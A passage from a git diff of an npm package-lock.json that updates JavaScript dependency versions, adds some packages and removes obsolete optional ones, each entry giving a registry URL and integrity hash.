"sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", - "dev": true, - "optional": true, - "requires": { - "is-extendable": "^0.1.0" - } - } - } - }, "express": { "version": "4.17.1", "resolved": "https://registry.npmjs.org/express/-/express-4.17.1.tgz", @@ -6084,17 +5473,26 @@ "integrity": "sha1-ml9pkFGx5wczKPKgCJaLZOopVdI=", "dev": true }, + "debug": { + "version": "2.6.9", + "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", + "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", + "dev": true, + "requires": { + "ms": "2.0.0" + } + }, + "ms": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", + "integrity": "sha1-VgiurfwAvmwpAd9fmGF4jeDVl8g=", + "dev": true + }, "path-to-regexp": { "version": "0.1.7", "resolved": "https://registry.npmjs.org/path-to-regexp/-/path-to-regexp-0.1.7.tgz", "integrity": "sha1-32BBeABfUi8V60SQ5yR6G/qmf4w=", "dev": true - }, - "qs": { - "version": "6.7.0", - "resolved": "https://registry.npmjs.org/qs/-/qs-6.7.0.tgz", - "integrity": "sha512-VCdBRNFTX1fyE7Nb6FYoURo/SPe62QCaAyzJvUjwRaIsc+NePBEniHlvxFmmX56+HZphIGtV0XeCirBtpDrTyQ==", - "dev": true } } }, @@ -6104,29 +5502,6 @@ "integrity": "sha512-fjquC59cD7CyW6urNXK0FBufkZcoiGG80wTuPujX590cB5Ttln20E2UB4S/WARVqhXffZl2LNgS+gQdPIIim/g==", "dev": true }, - "extend-shallow": { - "version": "3.0.2", - "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-3.0.2.tgz", - "integrity": "sha1-Jqcarwc7OfshJxcnRhMcJwQCjbg=", - "dev": true, - "optional": true, - "requires": { - "assign-symbols": "^1.0.0", - "is-extendable": "^1.0.1" - }, - "dependencies": { - "is-extendable": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/is-extendable/-/is-extendable-1.0.1.tgz", - "integrity": "sha512-arnXMxT1hhoKo9k1LZdmlNyJdDDfy2v0fXjFlmok4+i8ul/6WlbVge9bhM74OpNPQPMGUToDtz+KXa1PneJxOA==", - "dev": true, - "optional": true, - "requires": { - "is-plain-object": "^2.0.4" - } - } - } - }, "external-editor": { "version": "3.1.0", "resolved": "https://registry.npmjs.org/external-editor/-/external-editor-3.1.0.tgz", @@ -6138,148 +5513,22 @@ "tmp": "^0.0.33" } }, - "extglob": { - "version": "2.0.4", - "resolved": "https://registry.npmjs.org/extglob/-/extglob-2.0.4.tgz", - "integrity": "sha512-Nmb6QXkELsuBr24CJSkilo6UHHgbekK5UiZgfE6UHD3Eb27YC6oD+bhcT+tJ6cl8dmsgdQxnWlcry8ksBIBLpw==", - "dev": true, - "optional": true, - "requires": { - "array-unique": "^0.3.2", - "define-property": "^1.0.0", - "expand-brackets": "^2.1.4", - "extend-shallow": "^2.0.1", - "fragment-cache": "^0.2.1", - "regex-not": "^1.0.0", - "snapdragon": "^0.8.1", - "to-regex": "^3.0.1" - }, - "dependencies": { - "define-property": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/define-property/-/define-property-1.0.0.tgz", - "integrity": "sha1-dp66rz9KY6rTr56NMEybvnm/sOY=", - "dev": true, - "optional": true, - "requires": { - "is-descriptor": "^1.0.0" - } - }, - "extend-shallow": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz", - "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", - "dev": true, - "optional": true, - "requires": { - "is-extendable": "^0.1.0" - } - }, - "is-accessor-descriptor": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-1.0.0.tgz", - "integrity": "sha512-m5hnHTkcVsPfqx3AKlyttIPb7J+XykHvJP2B9bZDjlhLIoEq4XoK64Vg7boZlVWYK6LUY94dYPEE7Lh0ZkZKcQ==", - "dev": true, - "optional": true, - "requires": { - "kind-of": "^6.0.0" - } - }, - "is-data-descriptor": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-1.0.0.tgz", - "integrity": "sha512-jbRXy1FmtAoCjQkVmIVYwuuqDFUbaOeDjmed1tOGPrsMhtJA4rD9tkgA0F1qJ3gRFRXcHYVkdeaP50Q5rE/jLQ==", - "dev": true, - "optional": true, - "requires": { - "kind-of": "^6.0.0" - } - }, - "is-descriptor": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-1.0.2.tgz", - "integrity": "sha512-2eis5WqQGV7peooDyLmNEPUrps9+SXX5c9pL3xEB+4e9HnGuDa7mB7kHxHw4CbqS9k1T2hOH3miL8n8WtiYVtg==", - "dev": true, - "optional": true, - "requires": { - "is-accessor-descriptor": "^1.0.0", - "is-data-descriptor": "^1.0.0", - "kind-of": "^6.0.2" - } - } - } - }, "fast-deep-equal": { "version": "3.1.1", "resolved": "https://registry.npmjs.org/fast-deep-equal/-/fast-deep-equal-3.1.1.tgz", "integrity": "sha512-8UEa58QDLauDNfpbrX55Q9jrGHThw2ZMdOky5Gl1CDtVeJDPVrG4Jxx1N8jw2gkWaff5UUuX1KJd+9zGe2B+ZA==" }, "fast-glob": { - "version": "3.2.5", - "resolved": "https://registry.npmjs.org/fast-glob/-/fast-glob-3.2.5.tgz", - "integrity": "sha512-2DtFcgT68wiTTiwZ2hNdJfcHNke9XOfnwmBRWXhmeKM8rF0TGwmC/Qto3S7RoZKp5cilZbxzO5iTNTQsJ+EeDg==", + "version": "3.2.7", + "resolved": "https://registry.npmjs.org/fast-glob/-/fast-glob-3.2.7.tgz", + "integrity": "sha512-rYGMRwip6lUMvYD3BTScMwT1HtAs2d71SMv66Vrxs0IekGZEjhM0pcMfjQPnknBt2zeCwQMEupiN02ZP4DiT1Q==", "dev": true, "requires": { "@nodelib/fs.stat": "^2.0.2", "@nodelib/fs.walk": "^1.2.3", - "glob-parent": "^5.1.0", + "glob-parent": "^5.1.2", "merge2": "^1.3.0", - "micromatch": "^4.0.2", - "picomatch": "^2.2.1" - }, - "dependencies": { - "braces": { - "version": "3.0.2", - "resolved": "https://registry.npmjs.org/braces/-/braces-3.0.2.tgz", - "integrity": "sha512-b8um+L1RzM3WDSzvhm6gIz1yfTbBt6YTlcEKAvsmqCZZFw46z626lVj9j1yEPW33H5H+lBQpZMP1k8l+78Ha0A==", - "dev": true, - "requires": { - "fill-range": "^7.0.1" - } - }, - "fill-range": { - "version": "7.0.1", - "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-7.0.1.tgz", - "integrity": "sha512-qOo9F+dMUmC2Lcb4BbVvnKJxTPjCm+RRpe4gDuGrzkL7mEVl/djYSu2OdQ2Pa302N4oqkSg9ir6jaLWJ2USVpQ==", - "dev": true, - "requires": { - "to-regex-range": "^5.0.1" - } - }, - "glob-parent": { - "version": "5.1.2", - "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-5.1.2.tgz", - "integrity": "sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==", - "dev": true, - "requires": { - "is-glob": "^4.0.1" - } - }, - "is-number": { - "version": "7.0.0", - "resolved": "https://registry.npmjs.org/is-number/-/is-number-7.0.0.tgz", - "integrity": "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==", - "dev": true - }, - "micromatch": { - "version": "4.0.4", - "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-4.0.4.tgz", - "integrity": "sha512-pRmzw/XUcwXGpD9aI9q/0XOwLNygjETJ8y0ao0wdqprrzDa4YnxLcz7fQRZr8voh8V10kGhABbNcHVk5wHgWwg==", - "dev": true, - "requires": { - "braces": "^3.0.1", - "picomatch": "^2.2.3" - } - }, - "to-regex-range": { - "version": "5.0.1", - "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz", - "integrity": "sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==", - "dev": true, - "requires": { - "is-number": "^7.0.0" - } - } + "micromatch": "^4.0.4" } }, "fast-json-stable-stringify": { @@ -6305,9 +5554,9 @@ "dev": true }, "fastq": { - "version": "1.11.0", - "resolved": "https://registry.npmjs.org/fastq/-/fastq-1.11.0.tgz", - "integrity": "sha512-7Eczs8gIPDrVzT+EksYBcupqMyxSHXXrHOLRRxU2/DicV8789MRBRR8+Hc2uWzUupOs4YS4JzBmBxjjCVBxD/g==", + "version": "1.13.0", + "resolved": "https://registry.npmjs.org/fastq/-/fastq-1.13.0.tgz", + "integrity": "sha512-YpkpUnK8od0o1hmeSc7UUs/eB/vIPWJYjKck2QKIzAf71Vm1AAQ3EbuZB3g2JIy+pg+ERD0vqI79KyZiB2e2Nw==", "dev": true, "requires": { "reusify": "^1.0.4" @@ -6393,38 +5642,22 @@ } }, "file-saver": { - "version": "2.0.2", - "resolved": "https://registry.npmjs.org/file-saver/-/file-saver-2.0.2.tgz", - "integrity": "sha512-Wz3c3XQ5xroCxd1G8b7yL0Ehkf0TC9oYC6buPFkNnU9EnaPlifeAFCyCh+iewXTyFRcg0a6j3J7FmJsIhlhBdw==" + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/file-saver/-/file-saver-2.0.5.tgz", + "integrity": "sha512-P9bmyZ3h/PRG+Nzga+rbdI4OEpNDzAVyy74uVO9ATgzLK6VtAsYybF/+TOCvrc0MO793d6+42lLyZTw7/ArVzA==" }, "filepond": { - "version": "4.27.0", - "resolved": "https://registry.npmjs.org/filepond/-/filepond-4.27.0.tgz", - "integrity": "sha512-Z1XUXny6BQw9RVORz/MMjyVJHcW+tXiMRxocLEAY6gY1EfpMPwLJcQhalpMnfiGax7sBqXkv3tE8sZO71Q7Hbw==" + "version": "4.30.3", + "resolved": "https://registry.npmjs.org/filepond/-/filepond-4.30.3.tgz", + "integrity": "sha512-G2b1LEe90Sq2vH0SYDASTB+vVU735NBctzIaFPlZtb14QAgi/AL89WyQ6LhTfqgyrMyuZur2O9yHAmzS2E9ZnA==" }, "fill-range": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-4.0.0.tgz", - "integrity": "sha1-1USBHUKPmOsGpj3EAtJAPDKMOPc=", + "version": "7.0.1", + "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-7.0.1.tgz", + "integrity": "sha512-qOo9F+dMUmC2Lcb4BbVvnKJxTPjCm+RRpe4gDuGrzkL7mEVl/djYSu2OdQ2Pa302N4oqkSg9ir6jaLWJ2USVpQ==", "dev": true, - "optional": true, "requires": { - "extend-shallow": "^2.0.1", - "is-number": "^3.0.0", - "repeat-string": "^1.6.1", - "to-regex-range": "^2.1.0" - }, - "dependencies": { - "extend-shallow": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz", - "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", - "dev": true, - "optional": true, - "requires": { - "is-extendable": "^0.1.0" - } - } + "to-regex-range": "^5.0.1" } }, "finalhandler": { @@ -6440,6 +5673,23 @@ "parseurl": "~1.3.3", "statuses": "~1.5.0", "unpipe": "~1.0.0" + }, + "dependencies": { + "debug": { + "version": "2.6.9", + "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", + "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", + "dev": true, + "requires": { + "ms": "2.0.0" + } + }, + "ms": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", + "integrity": "sha1-VgiurfwAvmwpAd9fmGF4jeDVl8g=", + "dev": true + } } }, "find-cache-dir": { @@ -6518,6 +5768,16 @@ "resolved": "https://registry.npmjs.org/find-root/-/find-root-1.1.0.tgz", "integrity": "sha512-NKfW6bec6GfKc0SGx1e07QZY9PE99u0Bft/0rzSD5k3sO/vwkVUpDUKVm5Gpp5Ue3YfShPFTX2070tDs5kB9Ng==" }, + "find-up": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/find-up/-/find-up-4.1.0.tgz", + "integrity": "sha512-PpOwAdQ/YlXQ2vj8a3h8IipDuYRi3wceVQQGYWxNINccq40Anw7BlsEXCMbt1Zt+OLA6Fq9suIpIWD0OsnISlw==", + "dev": true, + "requires": { + "locate-path": "^5.0.0", + "path-exists": "^4.0.0" + } + }, "flat-cache": { "version": "2.0.1", "resolved": "https://registry.npmjs.org/flat-cache/-/flat-cache-2.0.1.tgz", @@ -6557,29 +5817,12 @@ "resolved": "https://registry.npmjs.org/font-awesome/-/font-awesome-4.7.0.tgz", "integrity": "sha1-j6jPBBGhoxr9B7BtKQK7n8gVoTM=" }, - "for-in": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/for-in/-/for-in-1.0.2.tgz", - "integrity": "sha1-gQaNKVqBQuwKxybG4iAMMPttXoA=", - "dev": true, - "optional": true - }, "forwarded": { "version": "0.2.0", "resolved": "https://registry.npmjs.org/forwarded/-/forwarded-0.2.0.tgz", "integrity": "sha512-buRG0fpBtRHSTCOASe6hD258tEubFoRLb4ZNA6NxMVHNw2gOcwHo9wyablzMzOA5z9xA9L1KNjk/Nt6MT9aYow==", "dev": true }, - "fragment-cache": { - "version": "0.2.1", - "resolved": "https://registry.npmjs.org/fragment-cache/-/fragment-cache-0.2.1.tgz", - "integrity": "sha1-QpD60n8T6Jvn8zeZxrxaCr//DRk=", - "dev": true, - "optional": true, - "requires": { - "map-cache": "^0.2.2" - } - }, "fresh": { "version": "0.5.2", "resolved": "https://registry.npmjs.org/fresh/-/fresh-0.5.2.tgz", @@ -6657,23 +5900,32 @@ "has-symbols": "^1.0.1" } }, + "get-stdin": { + "version": "8.0.0", + "resolved": "https://registry.npmjs.org/get-stdin/-/get-stdin-8.0.0.tgz", + "integrity": "sha512-sY22aA6xchAzprjyqmSEQv4UbAAzRN0L2dQB0NlN5acTTK9Don6nhoc3eAbUnpZiCANAMfd/+40kVdKfFygohg==", + "dev": true + }, "get-stream": { "version": "6.0.1", "resolved": "https://registry.npmjs.org/get-stream/-/get-stream-6.0.1.tgz", "integrity": "sha512-ts6Wi+2j3jQjqi70w5AlN8DFnkSwC+MqmxEzdEALB2qXZYV3X/b1CTfgPLGJNMeAWxdPfU8FO1ms3NUfaHCPYg==", "dev": true }, - "get-value": { - "version": "2.0.6", - "resolved": "https://registry.npmjs.org/get-value/-/get-value-2.0.6.tgz", - "integrity": "sha1-3BXKHGcjh8p2vTesCjlbogQqLCg=", + "get-symbol-description": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/get-symbol-description/-/get-symbol-description-1.0.0.tgz", + "integrity": "sha512-2EmdH1YvIQiZpltCNgkuiUnyukzxM/R6NDJX31Ke3BG1Nq5b0S2PhX59UKi9vZpPDQVdqn+1IcaAwnzTT5vCjw==", "dev": true, - "optional": true + "requires": { + "call-bind": "^1.0.2", + "get-intrinsic": "^1.1.1" + } }, "glob": { - "version": "7.1.6", - "resolved": "https://registry.npmjs.org/glob/-/glob-7.1.6.tgz", - "integrity": "sha512-LwaxwyZ72Lk7vZINtNNrywX0ZuLyStrdDtabefZKAY5ZGJhVtgdznluResxNmPitE0SAO+O26sWTHeKSI2wMBA==", + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/glob/-/glob-7.2.0.tgz", + "integrity": "sha512-lmLf6gtyrPq8tTjSmrO94wBeQbFR3HbLHbuyD69wuyQkImp2hWqMGB47OX65FBkPffO641IP9jWa1z4ivqG26Q==", "dev": true, "requires": { "fs.realpath": "^1.0.0", @@ -6689,7 +5941,6 @@ "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-5.1.2.tgz", "integrity": "sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==", "dev": true, - "optional": true, "requires": { "is-glob": "^4.0.1" } @@ -6736,9 +5987,9 @@ "dev": true }, "globby": { - "version": "11.0.3", - "resolved": "https://registry.npmjs.org/globby/-/globby-11.0.3.tgz", - "integrity": "sha512-ffdmosjA807y7+lA1NM0jELARVmYul/715xiILEjo3hBLPTcirgQNnXECn5g3mtR8TOLCVbkfua1Hpen25/Xcg==", + "version": "11.0.4", + "resolved": "https://registry.npmjs.org/globby/-/globby-11.0.4.tgz", + "integrity": "sha512-9O4MVG9ioZJ08ffbcyVYyLOJLk5JQ688pJ4eMGLpdWLHq/Wr1D9BlriLQyL0E+jbkuePVZXYFj47QM/v093wHg==", "dev": true, "requires": { "array-union": "^2.1.0", @@ -6817,9 +6068,9 @@ "integrity": "sha1-tdRU3CGZriJWmfNGfloH87lVuv0=" }, "has-symbols": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/has-symbols/-/has-symbols-1.0.1.tgz", - "integrity": "sha512-PLcsoqu++dmEIZB+6totNFKq/7Do+Z0u4oT0zKOJNl3lYK6vGwwu2hjHs+68OEZbTjiUE9bgOABXbP/GvrS0Kg==", + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/has-symbols/-/has-symbols-1.0.2.tgz", + "integrity": "sha512-chXa79rL/UC2KlX17jo3vRGz0azaWEx5tGqZg5pO3NUyEJVB17dMruQlzCCOfUvElghKcm5194+BCRvi2Rv/Gw==", "dev": true }, "has-tostringtag": { @@ -6829,49 +6080,6 @@ "dev": true, "requires": { "has-symbols": "^1.0.2" - }, - "dependencies": { - "has-symbols": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/has-symbols/-/has-symbols-1.0.2.tgz", - "integrity": "sha512-chXa79rL/UC2KlX17jo3vRGz0azaWEx5tGqZg5pO3NUyEJVB17dMruQlzCCOfUvElghKcm5194+BCRvi2Rv/Gw==", - "dev": true - } - } - }, - "has-value": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/has-value/-/has-value-1.0.0.tgz", - "integrity": "sha1-GLKB2lhbHFxR3vJMkw7SmgvmsXc=", - "dev": true, - "optional": true, - "requires": { - "get-value": "^2.0.6", - "has-values": "^1.0.0", - "isobject": "^3.0.0" - } - }, - "has-values": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/has-values/-/has-values-1.0.0.tgz", - "integrity": "sha1-lbC2P+whRmGab+V/51Yo1aOe/k8=", - "dev": true, - "optional": true, - "requires": { - "is-number": "^3.0.0", - "kind-of": "^4.0.0" - }, - "dependencies": { - "kind-of": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-4.0.0.tgz", - "integrity": "sha1-IIE989cSkosgc3hpGkUGb65y3Vc=", - "dev": true, - "optional": true, - "requires": { - "is-buffer": "^1.1.5" - } - } } }, "he": { @@ -6901,6 +6109,15 @@ "react-is": "^16.7.0" } }, + "hosted-git-info": { + "version": "4.0.2", + "resolved": "https://registry.npmjs.org/hosted-git-info/-/hosted-git-info-4.0.2.tgz", + "integrity": "sha512-c9OGXbZ3guC/xOlCg1Ci/VgWlwsqDv1yMQL1CWqXDL0hDjXuNcq0zuR4xqPSuasI3kqFDhqSyTjREz5gzq0fXg==", + "dev": true, + "requires": { + "lru-cache": "^6.0.0" + } + }, "hpack.js": { "version": "2.1.6", "resolved": "https://registry.npmjs.org/hpack.js/-/hpack.js-2.1.6.tgz", @@ -7146,54 +6363,11 @@ "micromatch": "^4.0.2" }, "dependencies": { - "braces": { - "version": "3.0.2", - "resolved": "https://registry.npmjs.org/braces/-/braces-3.0.2.tgz", - "integrity": "sha512-b8um+L1RzM3WDSzvhm6gIz1yfTbBt6YTlcEKAvsmqCZZFw46z626lVj9j1yEPW33H5H+lBQpZMP1k8l+78Ha0A==", - "dev": true, - "requires": { - "fill-range": "^7.0.1" - } - }, - "fill-range": { - "version": "7.0.1", - "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-7.0.1.tgz", - "integrity": "sha512-qOo9F+dMUmC2Lcb4BbVvnKJxTPjCm+RRpe4gDuGrzkL7mEVl/djYSu2OdQ2Pa302N4oqkSg9ir6jaLWJ2USVpQ==", - "dev": true, - "requires": { - "to-regex-range": "^5.0.1" - } - }, - "is-number": { - "version": "7.0.0", - "resolved": "https://registry.npmjs.org/is-number/-/is-number-7.0.0.tgz", - "integrity": "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==", - "dev": true - }, "is-plain-obj": { "version": "3.0.0", "resolved": "https://registry.npmjs.org/is-plain-obj/-/is-plain-obj-3.0.0.tgz", "integrity": "sha512-gwsOE28k+23GP1B6vFl1oVh/WOzmawBrKwo5Ev6wMKzPkaXaCDIQKzLnvsA42DRlbVTWorkgTKIviAKCWkfUwA==", "dev": true - }, - "micromatch": { - "version": "4.0.4", - "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-4.0.4.tgz", - "integrity": "sha512-pRmzw/XUcwXGpD9aI9q/0XOwLNygjETJ8y0ao0wdqprrzDa4YnxLcz7fQRZr8voh8V10kGhABbNcHVk5wHgWwg==", - "dev": true, - "requires": { - "braces": "^3.0.1", - "picomatch": "^2.2.3" - } - }, - "to-regex-range": { - "version": "5.0.1", - "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz", - "integrity": "sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==", - "dev": true, - "requires": { - "is-number": "^7.0.0" - } } } }, @@ -7221,9 +6395,9 @@ } }, "ieee754": { - "version": "1.1.13", - "resolved": "https://registry.npmjs.org/ieee754/-/ieee754-1.1.13.tgz", - "integrity": "sha512-4vf7I2LYV/HaWerSo3XmlMkp5eZ83i+/CDluXi/IGTs/O1sejBNhTtnxzmRZfvOUqj7lZjqHkeTvpgSFDlWZTg==" + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/ieee754/-/ieee754-1.2.1.tgz", + "integrity": "sha512-dcyqhDvX1C46lXZcVqCpK+FtMRQVdIMN6/Df5js2zouUsqG7I6sFxitIC+7KYK29KdXOLHdu9zL4sFnoVQnqaA==" }, "ignore": { "version": "4.0.6", @@ -7240,12 +6414,34 @@ "resolve-from": "^4.0.0" } }, + "import-lazy": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/import-lazy/-/import-lazy-4.0.0.tgz", + "integrity": "sha512-rKtvo6a868b5Hu3heneU+L4yEQ4jYKLtjpnPeUdK7h0yzXGmyBTypknlkCvHFBqfX9YlorEiMM6Dnq/5atfHkw==", + "dev": true + }, + "import-local": { + "version": "3.0.3", + "resolved": "https://registry.npmjs.org/import-local/-/import-local-3.0.3.tgz", + "integrity": "sha512-bE9iaUY3CXH8Cwfan/abDKAxe1KGT9kyGsBPqf6DMK/z0a2OzAsrukeYNgIH6cH5Xr452jb1TUL8rSfCLjZ9uA==", + "dev": true, + "requires": { + "pkg-dir": "^4.2.0", + "resolve-cwd": "^3.0.0" + } + }, "imurmurhash": { "version": "0.1.4", "resolved": "https://registry.npmjs.org/imurmurhash/-/imurmurhash-0.1.4.tgz", "integrity": "sha1-khi5srkoojixPcT7a21XbyMUU+o=", "dev": true }, + "indent-string": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/indent-string/-/indent-string-4.0.0.tgz", + "integrity": "sha512-EdDDZu4A2OyIK7Lr/2zG+w5jmbuk1DVBnEwREQvBzspBJkCEbRa8GxU1lghYcaGJCnRWibjDXlq779X1/y5xwg==", + "dev": true + }, "indexes-of": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/indexes-of/-/indexes-of-1.0.1.tgz", @@ -7269,9 +6465,9 @@ "dev": true }, "ini": { - "version": "1.3.7", - "resolved": "https://registry.npmjs.org/ini/-/ini-1.3.7.tgz", - "integrity": "sha512-iKpRpXP+CrP2jyrxvg1kMUpXDyRUFDWurxbnVT1vQPx+Wz9uCYsMIqYuSBLV+PAaZG/d7kRLKRFc9oDMsH+mFQ==", + "version": "1.3.8", + "resolved": "https://registry.npmjs.org/ini/-/ini-1.3.8.tgz", + "integrity": "sha512-JV/yugV2uzW5iMRSiZAyDtQd+nxtUnjeLt0acNdw98kKLrvuRVyB80tsREOE7yvGVgalhZ6RNXCmEHkUKBKxew==", "dev": true }, "inquirer": { @@ -7448,28 +6644,6 @@ "integrity": "sha512-1qTgH9NG+IIJ4yfKs2e6Pp1bZg8wbDbKHT21HrLIeYBTRLgMYKnMTPAuI3Lcs61nfx5h1xlXnbJtH1kX5/d/ng==", "dev": true }, - "is-accessor-descriptor": { - "version": "0.1.6", - "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-0.1.6.tgz", - "integrity": "sha1-qeEss66Nh2cn7u84Q/igiXtcmNY=", - "dev": true, - "optional": true, - "requires": { - "kind-of": "^3.0.2" - }, - "dependencies": { - "kind-of": { - "version": "3.2.2", - "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz", - "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", - "dev": true, - "optional": true, - "requires": { - "is-buffer": "^1.1.5" - } - } - } - }, "is-alphabetical": { "version": "1.0.4", "resolved": "https://registry.npmjs.org/is-alphabetical/-/is-alphabetical-1.0.4.tgz", @@ -7502,79 +6676,62 @@ "integrity": "sha1-d8mYQFJ6qOyxqLppe4BkWnqSap0=" }, "is-bigint": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/is-bigint/-/is-bigint-1.0.1.tgz", - "integrity": "sha512-J0ELF4yHFxHy0cmSxZuheDOz2luOdVvqjwmEcj8H/L1JHeuEDSDbeRP+Dk9kFVk5RTFzbucJ2Kb9F7ixY2QaCg==", - "dev": true + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/is-bigint/-/is-bigint-1.0.4.tgz", + "integrity": "sha512-zB9CruMamjym81i2JZ3UMn54PKGsQzsJeo6xvN3HJJ4CAsQNB6iRutp2To77OfCNuoxspsIhzaPoO1zyCEhFOg==", + "dev": true, + "requires": { + "has-bigints": "^1.0.1" + } }, "is-binary-path": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/is-binary-path/-/is-binary-path-1.0.1.tgz", - "integrity": "sha1-dfFmQrSA8YenEcgUFh/TpKdlWJg=", + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/is-binary-path/-/is-binary-path-2.1.0.tgz", + "integrity": "sha512-ZMERYes6pDydyuGidse7OsHxtbI7WVeUEozgR/g7rd0xUimYNlvZRE/K2MgZTjWy725IfelLeVcEM97mmtRGXw==", "dev": true, - "optional": true, "requires": { - "binary-extensions": "^1.0.0" + "binary-extensions": "^2.0.0" } }, "is-boolean-object": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/is-boolean-object/-/is-boolean-object-1.1.0.tgz", - "integrity": "sha512-a7Uprx8UtD+HWdyYwnD1+ExtTgqQtD2k/1yJgtXP6wnMm8byhkoTZRl+95LLThpzNZJ5aEvi46cdH+ayMFRwmA==", + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/is-boolean-object/-/is-boolean-object-1.1.2.tgz", + "integrity": "sha512-gDYaKHJmnj4aWxyj6YHyXVpdQawtVLHU5cb+eztPGczf6cjuTdwve5ZIEfgXqH4e57An1D1AKf8CZ3kYrQRqYA==", "dev": true, "requires": { - "call-bind": "^1.0.0" + "call-bind": "^1.0.2", + "has-tostringtag": "^1.0.0" } }, "is-buffer": { - "version": "1.1.6", - "resolved": "https://registry.npmjs.org/is-buffer/-/is-buffer-1.1.6.tgz", - "integrity": "sha512-NcdALwpXkTm5Zvvbk7owOUSvVvBKDgKP5/ewfXEznmQFfs4ZRmanOeKBTjRVjka3QFoN6XJ+9F3USqfHqTaU5w==", - "dev": true, - "optional": true + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/is-buffer/-/is-buffer-2.0.5.tgz", + "integrity": "sha512-i2R6zNFDwgEHJyQUtJEk0XFi1i0dPFn/oqjK3/vPCcDeJvW5NQ83V8QbicfF1SupOaB0h8ntgBC2YiE7dfyctQ==", + "dev": true }, "is-callable": { - "version": "1.1.5", - "resolved": "https://registry.npmjs.org/is-callable/-/is-callable-1.1.5.tgz", - "integrity": "sha512-ESKv5sMCJB2jnHTWZ3O5itG+O128Hsus4K4Qh1h2/cgn2vbgnLSVqfV46AeJA9D5EeeLa9w81KUXMtn34zhX+Q==", + "version": "1.2.4", + "resolved": "https://registry.npmjs.org/is-callable/-/is-callable-1.2.4.tgz", + "integrity": "sha512-nsuwtxZfMX67Oryl9LCQ+upnC0Z0BgpwntpS89m1H/TLF0zNfzfLMV/9Wa/6MZsj0acpEjAO0KF1xT6ZdLl95w==", "dev": true }, "is-core-module": { - "version": "2.2.0", - "resolved": "https://registry.npmjs.org/is-core-module/-/is-core-module-2.2.0.tgz", - "integrity": "sha512-XRAfAdyyY5F5cOXn7hYQDqh2Xmii+DEfIcQGxK/uNwMHhIkPWO0g8msXcbzLe+MpGoR951MlqM/2iIlU4vKDdQ==", + "version": "2.7.0", + "resolved": 